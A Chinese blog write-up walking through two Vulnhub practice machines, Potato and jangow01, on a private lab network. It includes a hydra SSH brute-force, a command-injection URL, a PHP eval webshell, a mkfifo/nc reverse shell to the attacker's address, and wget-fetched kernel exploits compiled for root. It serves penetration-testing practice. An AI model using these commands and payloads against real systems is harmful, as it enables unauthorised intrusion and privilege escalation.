Vulnhub靶机实战Linux内核提权合集(Potato、jangow01)

目录

Potato靶场

信息收集

主机发现

端口扫描

目录扫描

渗透

ssh爆破

提权

jangow01靶场

信息收集

主机发现和端口扫描

web目录扫描

web渗透

getshell

反弹shell

提权

Potato靶场

信息收集

主机发现

nmap 192.168.56.0/24 -sN

确认靶机ip为192.168.56.133。

端口扫描

# -p- 扫描所有端口
nmap 192.168.56.133 -p- -A

开放了80和7120端口。80端口一个大土豆,静态页面没东西。7120端口是一个ssh服务。

目录扫描

dirsearch -u http://192.168.56.133

info.php是一个phpinof()页面,内容如下:

渗透

根据目录扫描结果80端口没有突破点就看7120的ssh。

ssh爆破

使用九头蛇进行爆破,猜测用户名为potato,所以这里就是爆破密码。可以用kali自带的密码字典,在/usr/share/wordlists下,爆不出来就换个字典。

# hydra -l 用户名 -P 字典 ssh://ip:端口
hydra -l potato -P nmap.lst ssh://192.168.56.133:7120

拿到密码letmein。成功登录。

提权

几个常见的Linux提权方式,suid提权、sudo提权、系统内核提权。

# suid提权
find / -user root -type f -perm 4000 -ls 2>/dev/null
# sudo提权
sudo -l

都没法提权。尝试内核提权,uname -a 查看内核信息。

再收集版本号结合内核信息查找exp。cat /etc/*release

searchsploit查找exp。

searchsploit ubuntu 14.04

找到了合适的exp,将exp复制到当前目录下方便后面使用。

cp /usr/share/exploitdb/exploits/linux/local/37292.c .

想办法把37292.c放到目标机。开启一个web服务,使用python搭建简易的http服务器,在哪个目录运行网站根目录就在哪儿,所以不用切换目录。

python3 -m http.server 80

成功开启。目标机到web服务器上下载37292.c。

wget http://192.168.56.128/37292.c

下载后,修改37292.c权限,接下来gcc编译37292.c,生成一个可执行文件为exp。

gcc 37292.c -o exp
# 执行exp
./exp

成功提权。找到flag。

jangow01靶场

信息收集

主机发现和端口扫描

# 扫描192.168.56.0/24网段并返回端口版本
nmap 192.168.56.0/24 -sV -T4
攻击机(kali)192.168.56.102
靶机192.168.56.118

端口扫描结果是开放了80、21端口。

web目录扫描

dirb http://192.168.56.118

web渗透

根据目录扫描的结果挨个访问。site目录,进入后是一个网站,找到一个疑似命令执行的点,这种也可能是ssrf,都尝试一下。

http://192.168.56.118/site/busque.php?buscar=
http://192.168.56.118/site/busque.php?buscar=id

确认是一个命令执行。继续做一些信息收集,netstat -ano 查看开放端口。

根据返回结果发现除了扫描出来的80,21端口开放还有3306和22端口开放,所以这里应该有防火墙。

# 找root权限账户
cat /etc/passwd | grep :0
# 找有shell权限的用户
cat /etc/passwd | grep /bin/bash

root和jangow01这两个账号有shell权限。

getshell

既然存在命令执行,写入一句话木马蚁剑getshell。

http://192.168.56.118/site/busque.php?buscar=echo '<?php @eval($_POST['shell']); ?>' >> getshell.php

成功连接后到处看看,发现备份文件,给出一个账号密码。

第二组账号密码。

有了密码但是没有登录的位置。

反弹shell

蚁剑上传一个反弹shell。(试了常规的bash反弹shell不成功不知道原因,端口也需要是443,因为端口80和443一般不会做限制。)

# 蚁剑写入反弹shell
# 反弹shell内容如下
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 443 >/tmp/f');?>
​
# 攻击机监听
nc -lnvp 443

访问该文件shell.php,攻击机显示连接成功。

# 切换为交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

到当前用户的家目录看看有什么信息。

发现user.txt,内容是一串MD5加密内容,在线解密结果为空。

提权

前面没找到啥可以利用的信息,尝试内核提权。uname -a内核信息。根据内核信息使用msf查找exp。

searchsploit ubuntu 4.4.0

用45010.c。该文件在/usr/share/exploitdb/exploits/linux/local/目录下。按以往做法,开一个web服务,把45010.c挂载到web服务下,蚁剑靶机终端下载45010.c即可。

# 切换到45010.c所在的目录
cd /usr/share/exploitdb/exploits/linux/local/
# 该目录下开启web服务
python3 -m http.server 80
​
# 靶机终端下载
wget http://192.168.56.102/45010.c

但是发现靶机无法访问我们的攻击机,无法下载web服务器上的45010.c。此时回头想想通过web服务器太复杂了而且此处走不通,有简单粗暴的方法:将45010.c直接通过蚁剑上传。

给45010.c增加可执行权限,再进行编译。

./45010。成功提取。

最终flag在/root/proof.txt内。

  • 28
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值